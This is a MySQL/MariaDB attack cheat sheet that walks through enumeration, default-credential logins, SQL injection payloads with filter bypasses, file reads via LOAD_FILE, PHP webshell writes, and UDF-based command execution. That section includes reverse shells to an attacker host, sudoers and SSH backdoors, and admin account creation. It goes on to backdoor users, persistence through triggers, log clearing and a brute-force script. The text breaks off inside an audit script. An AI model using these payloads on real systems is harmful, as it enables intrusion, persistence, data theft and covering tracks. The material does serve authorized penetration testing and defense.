MySQL/MariaDB
Table of Contents¶
- Overview
- Reconnaissance & Enumeration
- Default Credentials
- Connection Methods
- Information Gathering
- SQL Injection
- File Operations
- User Defined Functions (UDF) Exploitation
- Command Execution
- Privilege Escalation
- Data Exfiltration
- Post-Exploitation
- Brute Force Attacks
- Common Vulnerabilities
- Automated Tools
- Defense & Hardening
Overview¶
What is MySQL/MariaDB?¶
MySQL is an open-source relational database management system (RDBMS) that uses Structured Query Language (SQL). MariaDB is a community-developed fork of MySQL that is highly compatible with MySQL.
Default Configuration Issues¶
- Default Port: 3306 (main), 33060 (X Protocol)
- No Password: Root user often has no password in default installations
- Bind to All Interfaces: Often misconfigured to listen on 0.0.0.0
- Anonymous Users: Default installations may have anonymous users
- Test Database: Often includes a publicly accessible 'test' database
Key Security Concerns¶
- Weak or default credentials
- Running as root/Administrator user
- FILE privilege allows reading/writing files
- User Defined Functions (UDF) can execute system commands
- SQL injection vulnerabilities
- Information disclosure through error messages
- Insecure remote connections
Reconnaissance & Enumeration¶
Port Scanning¶
# Basic scan for MySQL ports
nmap -p 3306,33060 <target>
# Service version detection
nmap -p 3306 -sV <target>
# Comprehensive scan with NSE scripts
nmap -p 3306 -sV -sC <target>
# All MySQL NSE scripts
nmap -p 3306 --script "mysql-*" <target>
# Specific useful scripts
nmap -p 3306 --script mysql-info <target>
nmap -p 3306 --script mysql-databases <target>
nmap -p 3306 --script mysql-users <target>
nmap -p 3306 --script mysql-variables <target>
nmap -p 3306 --script mysql-enum <target>
nmap -p 3306 --script mysql-audit <target>
nmap -p 3306 --script mysql-empty-password <target>
nmap -p 3306 --script mysql-brute <target>
nmap -p 3306 --script mysql-dump-hashes <target>
# Check for CVE-2012-2122 (authentication bypass)
nmap -p 3306 --script mysql-vuln-cve2012-2122 <target>
# Scan entire network
masscan -p3306 <network_range> --rate=1000
Available Nmap Scripts¶
# List all MySQL scripts
ls -lh /usr/share/nmap/scripts/ | grep mysql
# Scripts available:
# mysql-audit.nse - Audit MySQL configuration
# mysql-brute.nse - Brute force authentication
# mysql-databases.nse - List databases
# mysql-dump-hashes.nse - Dump password hashes
# mysql-empty-password.nse - Check for empty passwords
# mysql-enum.nse - Enumerate MySQL info
# mysql-info.nse - Get server info
# mysql-query.nse - Execute queries
# mysql-users.nse - Enumerate users
# mysql-variables.nse - Show variables
# mysql-vuln-cve2012-2122.nse - Check authentication bypass
Banner Grabbing¶
# Using netcat
nc -nv <target> 3306
# Using telnet
telnet <target> 3306
# Using nmap
nmap -p 3306 -sV --script=banner <target>
Shodan Queries¶
# Find MySQL instances
mysql port:3306
# Find MySQL with specific version
mysql port:3306 version:"5.7"
# Find MySQL without authentication
port:3306 "Access denied for user"
# Find exposed MySQL
product:mysql port:3306
Default Credentials¶
Common Default Credentials¶
# Most common - no password
Username: root
Password: (blank)
# Other common defaults
Username: root
Password: root
Username: root
Password: password
Username: root
Password: admin
Username: root
Password: mysql
Username: root
Password: toor
Username: admin
Password: admin
Username: mysql
Password: mysql
# Anonymous user (deprecated but sometimes present)
Username: (blank)
Password: (blank)
Testing Default Credentials¶
# Try without password
mysql -h <target> -u root
# Try with password
mysql -h <target> -u root -p
# Enter password when prompted
# Try specific password
mysql -h <target> -u root -proot
mysql -h <target> -u root -ppassword
# Try anonymous user
mysql -h <target>
Connection Methods¶
Using mysql Client¶
# Local connection (no password)
mysql -u root
# Local connection with password
mysql -u root -p
# Remote connection
mysql -h <host> -u root -p
# Specify port
mysql -h <host> -P 3306 -u root -p
# Connect to specific database
mysql -h <host> -u root -p <database_name>
# Execute single query
mysql -h <host> -u root -p -e "SELECT version();"
# Execute query from file
mysql -h <host> -u root -p < queries.sql
# Silent mode (no formatting)
mysql -h <host> -u root -p -s -e "SELECT user,host FROM mysql.user;"
# Skip database selection
mysql -h <host> -u root -p --skip-database
# Enable cleartext plugin (for testing)
mysql -h <host> -u root -p --enable-cleartext-plugin
# SSL/TLS connection
mysql -h <host> -u root -p --ssl-mode=REQUIRED
mysql -h <host> -u root -p --ssl-ca=/path/to/ca.pem
Using Python¶
import pymysql
# Basic connection
connection = pymysql.connect(
host='<host>',
port=3306,
user='root',
password='password',
database='mysql'
)
# Execute query
cursor = connection.cursor()
cursor.execute("SELECT version();")
result = cursor.fetchone()
print(result)
# Close connection
cursor.close()
connection.close()
Using Metasploit¶
# MySQL version scanner
use auxiliary/scanner/mysql/mysql_version
set RHOSTS <target>
run
# MySQL login scanner
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <target>
set USERNAME root
set PASSWORD password
run
# MySQL enumeration
use auxiliary/admin/mysql/mysql_enum
set RHOSTS <target>
set USERNAME root
set PASSWORD password
run
# MySQL SQL execution
use auxiliary/admin/mysql/mysql_sql
set RHOSTS <target>
set USERNAME root
set PASSWORD password
set SQL "SELECT user,host FROM mysql.user;"
run
Information Gathering¶
Version Information¶
-- Get MySQL version
SELECT @@version;
SELECT VERSION();
-- Get version comment
SELECT @@version_comment;
-- Get compile OS
SELECT @@version_compile_os;
-- Get compile machine
SELECT @@version_compile_machine;
-- All version variables
SHOW VARIABLES LIKE "%version%";
User Enumeration¶
-- Get current user
SELECT USER();
SELECT CURRENT_USER();
SELECT SYSTEM_USER();
-- List all users (MySQL 5.7+)
SELECT user, host FROM mysql.user;
-- List all users with privileges (MySQL 5.7+)
SELECT user, host, authentication_string FROM mysql.user;
-- Get user privileges
SELECT * FROM mysql.user;
SELECT user, host, Select_priv, Insert_priv, Update_priv, Delete_priv,
Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,
File_priv, Grant_priv, Super_priv FROM mysql.user;
-- Get current user privileges
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();
Database Enumeration¶
-- List all databases
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;
-- Get current database
SELECT DATABASE();
-- Get database size
SELECT table_schema AS "Database",
ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) AS "Size (MB)"
FROM information_schema.tables
GROUP BY table_schema;
Table Enumeration¶
-- List tables in current database
SHOW TABLES;
-- List tables in specific database
SHOW TABLES FROM <database_name>;
-- List all tables across all databases
SELECT table_schema, table_name
FROM information_schema.tables
WHERE table_schema NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys');
-- Get table structure
DESCRIBE <table_name>;
SHOW COLUMNS FROM <table_name>;
-- Get detailed table info
SELECT * FROM information_schema.columns
WHERE table_schema = '<database>' AND table_name = '<table>';
Configuration Enumeration¶
-- Show all variables
SHOW VARIABLES;
-- Specific variables
SHOW VARIABLES LIKE 'datadir';
SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'plugin_dir';
SHOW VARIABLES LIKE 'hostname';
SHOW VARIABLES LIKE 'socket';
SHOW VARIABLES LIKE 'basedir';
-- Get data directory
SELECT @@datadir;
-- Get secure_file_priv status
SELECT @@secure_file_priv;
-- Get plugin directory
SELECT @@plugin_dir;
-- Get hostname
SELECT @@hostname;
-- Check if running as root/admin
SELECT @@version_compile_os, USER();
-- Get process list
SHOW PROCESSLIST;
SHOW FULL PROCESSLIST;
Privilege Enumeration¶
-- Check FILE privilege
SELECT user, host, File_priv FROM mysql.user WHERE user = 'root';
-- Check if current user has FILE privilege
SELECT * FROM mysql.user WHERE user = USER() AND File_priv = 'Y';
-- Check all privileges for current user
SHOW GRANTS;
-- Check if user can create functions
SELECT Create_routine_priv FROM mysql.user WHERE user = USER();
SQL Injection¶
Detection¶
-- Basic injection tests
'
"
`
')
")
`)
'))
"))
`))
-- Time-based detection
' OR SLEEP(5)--
" OR SLEEP(5)--
' OR BENCHMARK(10000000,SHA1('test'))--
-- Boolean-based detection
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'#
' OR '1'='1'/*
Union-Based Injection¶
-- Determine number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
... (until error)
-- UNION injection
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- Extract data
' UNION SELECT 1,@@version,3--
' UNION SELECT 1,user(),3--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata--
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users--
Error-Based Injection¶
-- Generate errors to extract data
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)--
-- Extract database name
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)--
-- ExtractGUID() function (MySQL 8.0.13+)
' AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT @@version)))--
-- UpdateXML() function
' AND UPDATEXML(1,CONCAT(0x5c,(SELECT @@version)),1)--
Time-Based Blind Injection¶
-- Basic time-based test
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
-- Extract database name character by character
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
' AND IF(SUBSTRING(database(),1,1)='b',SLEEP(5),0)--
-- Extract version
' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--
-- Using BENCHMARK
' AND IF(1=1,BENCHMARK(10000000,SHA1('test')),0)--
Boolean-Based Blind Injection¶
-- Basic boolean test
' AND 1=1-- (True)
' AND 1=2-- (False)
-- Extract database name
' AND SUBSTRING(database(),1,1)='a'--
' AND ASCII(SUBSTRING(database(),1,1))=97--
-- Extract table names
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5--
-- Extract data length
' AND LENGTH(database())>5--
Bypassing Filters¶
-- Comment bypass
' OR '1'='1'--
' OR '1'='1'#
' OR '1'='1'/*
-- Space bypass
' OR '1'='1'/**/--
' OR/**/'1'='1'--
' OR%0a'1'='1'--
' OR%09'1'='1'--
-- Keyword bypass (case variation)
' UnIoN SeLeCt 1,2,3--
' /*!50000UNION*/ SELECT 1,2,3--
-- Using alternative functions
SUBSTR() instead of SUBSTRING()
MID() instead of SUBSTRING()
CHAR() instead of string literals
HEX() to encode strings
File Operations¶
File Read - LOAD_FILE()¶
-- Basic file read
SELECT LOAD_FILE('/etc/passwd');
-- Read MySQL configuration
SELECT LOAD_FILE('/etc/mysql/my.cnf');
SELECT LOAD_FILE('/etc/my.cnf');
SELECT LOAD_FILE('C:\\xampp\\mysql\\bin\\my.ini'); -- Windows
-- Read web application files
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('/var/www/html/wp-config.php');
SELECT LOAD_FILE('/var/www/html/.env');
-- Read MySQL data files
SELECT LOAD_FILE('/var/lib/mysql/mysql/user.MYD');
-- Hex encoding to bypass filters
SELECT LOAD_FILE(0x2f6574632f706173737764); -- /etc/passwd
-- Using CHAR() to bypass filters
SELECT LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)); -- /etc/passwd
-- In SQL injection
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
File Write - INTO OUTFILE¶
-- Basic file write
SELECT 'test content' INTO OUTFILE '/tmp/test.txt';
-- Write query results to file
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
-- Write webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- Advanced webshell
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/eval.php';
-- Write SSH key
SELECT 'ssh-rsa AAAA...' INTO OUTFILE '/root/.ssh/authorized_keys';
-- Bypass secure_file_priv (if directory is set)
SELECT 'test' INTO OUTFILE '/var/lib/mysql-files/test.txt';
-- Using DUMPFILE (for binary files)
SELECT 'binary_content' INTO DUMPFILE '/var/www/html/file.bin';
-- In SQL injection
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
Common Web Root Paths¶
-- Linux
/var/www/html/
/var/www/html/uploads/
/usr/share/nginx/html/
/var/www/
/srv/www/htdocs/
/usr/local/apache2/htdocs/
/opt/lampp/htdocs/
-- Windows
C:\inetpub\wwwroot\
C:\xampp\htdocs\
C:\wamp\www\
C:\wamp64\www\
Checking secure_file_priv¶
-- Check secure_file_priv setting
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT @@secure_file_priv;
-- Possible values:
-- NULL = disabled (cannot use LOAD_FILE or INTO OUTFILE)
-- Empty = no restrictions (insecure)
-- Directory path = can only read/write in that directory
-- Check FILE privilege
SELECT user, host, File_priv FROM mysql.user WHERE user = CURRENT_USER();
Reading MySQL History¶
# MySQL history file (may contain passwords)
cat ~/.mysql_history
SELECT LOAD_FILE('/root/.mysql_history');
SELECT LOAD_FILE('/home/user/.mysql_history');
User Defined Functions (UDF) Exploitation¶
Understanding UDF¶
User Defined Functions (UDFs) in MySQL allow users to extend MySQL functionality with custom functions. When MySQL runs as root (or Administrator on Windows), UDFs can be exploited to execute system commands.
Prerequisites for UDF Exploitation¶
-- 1. MySQL must be running as root/Administrator
-- Check with:
\! whoami -- From MySQL client
SELECT @@version_compile_os;
-- 2. Must have FILE privilege
SELECT user, host, File_priv FROM mysql.user WHERE user = CURRENT_USER();
-- 3. Must have INSERT privilege on mysql database
SELECT user, host, Insert_priv FROM mysql.user WHERE user = CURRENT_USER();
-- 4. secure_file_priv should be empty or allow access to plugin directory
SELECT @@secure_file_priv;
-- 5. Get plugin directory
SELECT @@plugin_dir;
SHOW VARIABLES LIKE 'plugin_dir';
Raptor UDF Exploitation (Linux)¶
Step 1: Compile the UDF¶
# Download raptor_udf2.c
wget http://0xdeadbeef.info/exploits/raptor_udf2.c
# Or find it in:
locate raptor_udf2.c
# Usually in: /usr/share/sqlmap/extra/udfhack/linux/64/lib_mysqludf_sys.so
# Or: /usr/share/metasploit-framework/data/exploits/mysql/
# Compile for 32-bit
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Compile for 64-bit
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Step 2: Transfer UDF to Target¶
# Using Python HTTP server on attacker
python3 -m http.server 80
# On target (if you have shell access)
wget http://<attacker_ip>/raptor_udf2.so -O /tmp/raptor_udf2.so
# Or use MySQL to download (if MySQL can make outbound connections)
# This requires creating a table and using LOAD DATA INFILE
Step 3: Load UDF into MySQL¶
-- Connect to MySQL
mysql -u root -p
-- Switch to mysql database
USE mysql;
-- Create a table to hold the binary
CREATE TABLE foo(line BLOB);
-- Load the compiled UDF into table
INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
-- Export to plugin directory
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
-- Alternative plugin paths
-- SELECT * FROM foo INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
-- SELECT * FROM foo INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb18/plugin/raptor_udf2.so';
-- Clean up
DROP TABLE foo;
Step 4: Create the Function¶
-- Create the do_system function
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
-- Verify function was created
SELECT * FROM mysql.func;
Step 5: Execute Commands¶
-- Test with id command
SELECT do_system('id > /tmp/out.txt');
-- View output (if you have shell or can read file)
SELECT LOAD_FILE('/tmp/out.txt');
-- Execute reverse shell
SELECT do_system('bash -c "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"');
-- Execute netcat reverse shell
SELECT do_system('nc <attacker_ip> 4444 -e /bin/bash');
-- Create SUID bash
SELECT do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
-- Add user to sudoers
SELECT do_system('echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers');
-- Create SSH backdoor
SELECT do_system('echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys');
Using Metasploit UDF Libraries¶
# Metasploit includes pre-compiled UDF libraries
# 32-bit Linux
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so
# 64-bit Linux
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so
# Windows 32-bit
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
# Windows 64-bit
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
Using SQLMap UDF¶
# SQLMap also includes UDF libraries
locate lib_mysqludf_sys
# Usually in:
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so
/usr/share/sqlmap/data/udf/mysql/linux/32/lib_mysqludf_sys.so
Windows UDF Exploitation¶
-- For Windows, the process is similar but uses .dll instead of .so
-- Load DLL into table
USE mysql;
CREATE TABLE foo(line BLOB);
INSERT INTO foo VALUES(LOAD_FILE('C:\\temp\\lib_mysqludf_sys.dll'));
-- Export to plugin directory
SELECT * FROM foo INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\lib_mysqludf_sys.dll';
DROP TABLE foo;
-- Create function (Windows version has sys_exec)
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.dll';
-- Execute commands
SELECT sys_exec('whoami > C:\\temp\\out.txt');
SELECT sys_exec('net user attacker P@ssw0rd /add');
SELECT sys_exec('net localgroup administrators attacker /add');
Cleanup After UDF Exploitation¶
-- Remove function
DROP FUNCTION do_system;
-- Remove UDF file (if possible)
-- This requires system access or another UDF command
Command Execution¶
Via UDF (Covered in UDF Section)¶
-- After creating do_system function
SELECT do_system('whoami');
SELECT do_system('id');
SELECT do_system('cat /etc/passwd');
Via INTO OUTFILE (Webshell)¶
-- Write PHP webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/cmd.php';
-- Access via browser
http://<target>/cmd.php?cmd=whoami
-- Write more advanced shell
SELECT '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>' INTO OUTFILE '/var/www/html/shell.php';
Via Cron Job (If writable)¶
-- Write cron job for reverse shell
SELECT '* * * * * root bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1' INTO OUTFILE '/etc/cron.d/mysql_backup';
Privilege Escalation¶
Local Privilege Escalation via UDF¶
This is the primary method - covered extensively in the UDF section.
Escalation via Configuration Files¶
# Check for MySQL credentials in config files
cat /etc/mysql/debian.cnf
cat /etc/mysql/my.cnf
cat /etc/my.cnf
cat ~/.my.cnf
# Web application configs
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat /var/www/html/.env
cat /var/www/html/application/config/database.php
# Extract hashes directly from data files
strings /var/lib/mysql/mysql/user.MYD
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD
Escalation by Modifying Data¶
-- If you have access to application database
-- Change user role/permissions
UPDATE users SET role='admin' WHERE username='attacker';
UPDATE users SET is_admin=1 WHERE username='attacker';
-- Change password (if you know the hashing algorithm)
UPDATE users SET password='5f4dcc3b5aa765d61d8327deb882cf99' WHERE username='admin'; -- 'password' in MD5
-- Add yourself as admin
INSERT INTO users (username, password, role) VALUES ('attacker', 'hash', 'admin');
Data Exfiltration¶
Using mysqldump¶
# Dump entire database server
mysqldump -h <target> -u root -p --all-databases > all_databases.sql
# Dump specific database
mysqldump -h <target> -u root -p <database_name> > database.sql
# Dump specific table
mysqldump -h <target> -u root -p <database_name> <table_name> > table.sql
# Dump with conditions
mysqldump -h <target> -u root -p <database_name> <table_name> --where="role='admin'" > admins.sql
# Dump structure only (no data)
mysqldump -h <target> -u root -p --no-data <database_name> > structure.sql
# Dump data only (no structure)
mysqldump -h <target> -u root -p --no-create-info <database_name> > data.sql
# Compress dump
mysqldump -h <target> -u root -p <database_name> | gzip > database.sql.gz
# Quick dump all databases (no authentication if not required)
mysqldump -h <target> --all-databases > all_dbs.sql
Using SELECT INTO OUTFILE¶
-- Export entire table
SELECT * FROM users INTO OUTFILE '/tmp/users.txt';
-- Export with specific delimiter (CSV format)
SELECT * FROM users INTO OUTFILE '/tmp/users.csv'
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\n';
-- Export specific columns
SELECT username, password FROM users INTO OUTFILE '/tmp/creds.txt';
-- Export with conditions
SELECT * FROM users WHERE role='admin' INTO OUTFILE '/tmp/admins.txt';
Using mysql Client¶
# Export query results
mysql -h <target> -u root -p -e "SELECT * FROM database.users;" > users.txt
# Export in various formats
mysql -h <target> -u root -p --batch -e "SELECT * FROM database.users;" > users.txt
mysql -h <target> -u root -p --xml -e "SELECT * FROM database.users;" > users.xml
mysql -h <target> -u root -p --html -e "SELECT * FROM database.users;" > users.html
Extracting Password Hashes¶
-- MySQL 5.7 and earlier
SELECT user, password FROM mysql.user;
-- MySQL 8.0+
SELECT user, authentication_string FROM mysql.user;
-- Get specific user hash
SELECT authentication_string FROM mysql.user WHERE user='root';
-- Export hashes to file
SELECT user, authentication_string FROM mysql.user INTO OUTFILE '/tmp/hashes.txt';
Searching for Sensitive Data¶
-- Find tables with interesting names
SELECT table_name FROM information_schema.tables
WHERE table_name LIKE '%user%'
OR table_name LIKE '%admin%'
OR table_name LIKE '%password%'
OR table_name LIKE '%credit%'
OR table_name LIKE '%card%';
-- Find columns with interesting names
SELECT table_name, column_name FROM information_schema.columns
WHERE column_name LIKE '%password%'
OR column_name LIKE '%passwd%'
OR column_name LIKE '%pwd%'
OR column_name LIKE '%credit%'
OR column_name LIKE '%card%'
OR column_name LIKE '%ssn%'
OR column_name LIKE '%secret%';
-- Search in all databases
SELECT table_schema, table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%password%';
Post-Exploitation¶
Creating Backdoor Users¶
-- Create new MySQL user with all privileges
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'P@ssw0rd123';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
-- Create user with specific privileges
CREATE USER 'limited'@'%' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON database.* TO 'limited'@'%';
FLUSH PRIVILEGES;
-- Rename existing user (stealthier)
RENAME USER 'mysql.session'@'localhost' TO 'backdoor'@'%';
ALTER USER 'backdoor'@'%' IDENTIFIED BY 'newpassword';
Persistence via Triggers¶
-- Create trigger to maintain access
DELIMITER $$
CREATE TRIGGER maintain_backdoor
AFTER INSERT ON mysql.user
FOR EACH ROW
BEGIN
IF NOT EXISTS (SELECT 1 FROM mysql.user WHERE user='backdoor') THEN
CREATE USER 'backdoor'@'%' IDENTIFIED BY 'P@ssw0rd';
GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%';
END IF;
END$$
DELIMITER ;
Credential Harvesting¶
-- Dump all credentials
SELECT host, user, authentication_string FROM mysql.user;
-- Check for weak passwords (if you can crack hashes)
SELECT user, authentication_string FROM mysql.user WHERE authentication_string != '';
-- Look for reused credentials in application databases
SELECT DISTINCT password FROM users;
Data Manipulation¶
-- Modify existing records
UPDATE users SET email='attacker@evil.com' WHERE username='admin';
UPDATE products SET price=0.01 WHERE id=1;
-- Delete records
DELETE FROM logs WHERE timestamp < NOW() - INTERVAL 1 DAY;
-- Insert malicious data
INSERT INTO users (username, password, role) VALUES ('evil', 'hash', 'admin');
Log Manipulation¶
-- Check if logging is enabled
SHOW VARIABLES LIKE 'general_log%';
SHOW VARIABLES LIKE 'log_error';
-- Disable general query log (requires SUPER privilege)
SET GLOBAL general_log = 'OFF';
-- Check slow query log
SHOW VARIABLES LIKE 'slow_query_log%';
-- Clear binary logs (requires SUPER privilege)
RESET MASTER;
-- Purge old binary logs
PURGE BINARY LOGS BEFORE NOW();
Brute Force Attacks¶
Using Hydra¶
# Basic brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://<target>
# With specific port
hydra -l root -P passwords.txt -s 3306 <target> mysql
# Multiple usernames
hydra -L users.txt -P passwords.txt mysql://<target>
# Faster with threads
hydra -l root -P passwords.txt -t 4 mysql://<target>
# With verbose output
hydra -l root -P passwords.txt mysql://<target> -V
# Stop on first success
hydra -l root -P passwords.txt mysql://<target> -f
Using Nmap¶
# Brute force with default wordlist
nmap -p 3306 --script mysql-brute <target>
# With custom wordlist
nmap -p 3306 --script mysql-brute \
--script-args userdb=users.txt,passdb=passwords.txt <target>
# Brute force specific user
nmap -p 3306 --script mysql-brute \
--script-args mysql-brute.user=root,passdb=passwords.txt <target>
Using Metasploit¶
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <target>
set RPORT 3306
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
set THREADS 5
run
Using Medusa¶
# Basic brute force
medusa -h <target> -u root -P passwords.txt -M mysql
# Multiple hosts
medusa -H hosts.txt -u root -P passwords.txt -M mysql
# Multiple users
medusa -h <target> -U users.txt -P passwords.txt -M mysql
# With threads
medusa -h <target> -u root -P passwords.txt -M mysql -t 4
Custom Python Script¶
#!/usr/bin/env python3
import pymysql
import sys
def brute_force(host, user, passfile):
with open(passfile, 'r') as f:
for password in f:
password = password.strip()
try:
conn = pymysql.connect(
host=host,
port=3306,
user=user,
password=password,
connect_timeout=3
)
print(f"[+] Success! {user}:{password}")
conn.close()
return password
except pymysql.err.OperationalError:
continue
except Exception as e:
print(f"[-] Error: {e}")
continue
print("[-] Password not found")
return None
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <host> <user> <passfile>")
sys.exit(1)
brute_force(sys.argv[1], sys.argv[2], sys.argv[3])
Common Vulnerabilities¶
CVE-2012-2122 - Authentication Bypass¶
# MySQL/MariaDB 5.1.63, 5.2.12, 5.3.6, 5.5.23
# Authentication bypass vulnerability
# Test with Nmap
nmap -p 3306 --script mysql-vuln-cve2012-2122 <target>
# Manual test (requires multiple attempts - ~256 tries)
for i in {1..1000}; do
mysql -h <target> -u root --password=wrong 2>/dev/null && echo "Success!" && break
done
Weak/Default Passwords¶
# Common weak passwords to test
mysql -h <target> -u root -p
# Try: (blank), root, password, admin, mysql, toor, 123456
Anonymous Access¶
-- Check for anonymous users
SELECT user, host FROM mysql.user WHERE user = '';
-- Try anonymous login
mysql -h <target>
Exposed to Internet¶
# MySQL should NOT be exposed to internet
# Check with Shodan or scan
nmap -p 3306 --open <network_range>
Running as Root/Administrator¶
-- Check what user MySQL is running as
\! whoami
\! id
-- From outside
SELECT @@version_compile_os;
SHOW VARIABLES LIKE 'version_compile_os';
Insecure secure_file_priv¶
-- Check secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv';
-- Empty value = insecure (can read/write anywhere)
-- NULL = disabled
-- Directory path = restricted to that directory
Automated Tools¶
SQLMap¶
# Test for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql
# Enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# Enumerate tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# Dump table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump
# Get shell (if possible)
sqlmap -u "http://target.com/page.php?id=1" --os-shell
# Read file
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
# Write file
sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Privilege escalation (attempts UDF)
sqlmap -u "http://target.com/page.php?id=1" --priv-esc
# Direct database connection
sqlmap -d "mysql://root:password@target:3306/database" --dump
Metasploit Framework¶
# Version scanner
use auxiliary/scanner/mysql/mysql_version
# Login scanner/brute force
use auxiliary/scanner/mysql/mysql_login
# Enumerate databases
use auxiliary/admin/mysql/mysql_enum
# Execute SQL
use auxiliary/admin/mysql/mysql_sql
# Dump hashes
use auxiliary/scanner/mysql/mysql_hashdump
# Read file
use auxiliary/admin/mysql/mysql_file_enum
# UDF command execution
# (Manual UDF exploitation covered in UDF section)
Nmap NSE Scripts¶
# Run all MySQL scripts
nmap -p 3306 --script "mysql-*" <target>
# Specific scripts
nmap -p 3306 --script mysql-audit <target>
nmap -p 3306 --script mysql-databases <target>
nmap -p 3306 --script mysql-dump-hashes <target>
nmap -p 3306 --script mysql-empty-password <target>
nmap -p 3306 --script mysql-enum <target>
nmap -p 3306 --script mysql-info <target>
nmap -p 3306 --script mysql-query <target>
nmap -p 3306 --script mysql-users <target>
nmap -p 3306 --script mysql-variables <target>
nmap -p 3306 --script mysql-vuln-cve2012-2122 <target>
nmap -p 3306 --script mysql-brute <target>
MySQL Audit Script¶
#!/bin/bash
# Simple MySQL audit script
TARGET=$1
USER=$2
PASS=$3
echo "[*] MySQL Audit for $TARGET"
# Version
echo "[*] Version:"
mysql -h $TARGET -u $USER -p$PASS -e "SELECT @@version;"
# Users
echo "[*] Users:"
mysql -h $TARGET -u $USER -p$PASS -e "SELECT user,host FROM mysql.user;"
# Databases
echo "[*] Databases:"
mysql -h $TARGET -u $USER -p$PASS -e "SHOW DATABASES;"
# Privileges
echo "[*] Current User Privileges:"
mysql -h $TARGET -u $USER -p$PASS -e "SHOW GRANTS;"
# File privileges
echo "[*] Users with FILE privilege:"
mysql -h $TARGET -u $USER -p$PASS -e "SELECT user,host,File_priv FROM mysql.user WHERE File_priv='Y';"
# secure_file_priv
echo "[*] secure_file_priv:"
